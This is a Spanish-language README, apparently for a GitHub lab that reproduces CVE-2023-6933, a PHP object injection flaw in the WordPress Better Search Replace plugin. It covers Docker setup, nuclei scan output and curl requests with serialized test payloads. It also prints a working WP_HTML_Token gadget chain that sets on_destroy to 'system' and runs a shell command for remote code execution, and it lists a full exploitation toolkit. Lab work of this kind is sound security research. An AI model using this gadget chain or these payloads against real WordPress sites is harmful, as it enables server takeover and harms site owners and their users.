
Laboratorio práctico para CVE-2023-6933, una vulnerabilidad de inyección de objetos PHP en el plugin Better Search Replace de WordPress, con despliegue en Docker, plantilla nuclei y scripts de exploit para investigación y educación en seguridad.
Este entorno de laboratorio demuestra CVE-2023-6933, una vulnerabilidad crítica de Inyección de Objetos PHP en el plugin Better Search Replace de WordPress versiones ≤1.4.4.
/wp-admin/admin-ajax.php con acción search_replace_db# Clonar el repositorio
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Desplegar usando imagen de Docker Hub (descarga automática)
docker-compose up -d
El laboratorio automáticamente:
trex999/vulnerable-bsr-lab:latest)# Ejecutar el POC automatizado
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Prueba manual mediante curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
El plugin Better Search Replace contiene una vulnerabilidad de Inyección de Objetos PHP en su manejador AJAX. La vulnerabilidad ocurre cuando:
search_for mediante POST a /wp-admin/admin-ajax.phpsearch_replace_dbNuestra plantilla de nuclei demuestra la vulnerabilidad a través de múltiples etapas de verificación:
La plantilla de nuclei (nuclei-templates/cve-2023-6933.yaml) está estructurada profesionalmente:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
El POC exitosamente:
⚠️ ADVERTENCIA: Este entorno contiene software intencionalmente vulnerable. Úselo solo en entornos de prueba aislados. No lo implemente en producción ni en sistemas accesibles desde Internet.
docker-compose down -v
Creado con fines educativos y de investigación en seguridad
Docker_LAB_SETUP/)cve_2023_6933_exploit.php - Kit de herramientas completo de explotación PHPwp_html_token_poc.php - Demostración de RCE en WordPress 6.4.0+bsr_direct_exploit.php - Prueba directa de vulnerabilidadnuclei-templates/cve-2023-6933.yaml - Plantilla avanzada de nucleimanual-test.sh - Script completo de pruebas manualesEste laboratorio demuestra la detección basada en no-errores siguiendo las mejores prácticas para la investigación de vulnerabilidades:
En lugar de depender de errores HTTP 500, nuestras herramientas detectan:
Utilizando la clase WP_HTML_Token de WordPress 6.4.0+ para RCE real:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# Probar presencia básica del plugin
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Probar vulnerabilidad con carga útil segura
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"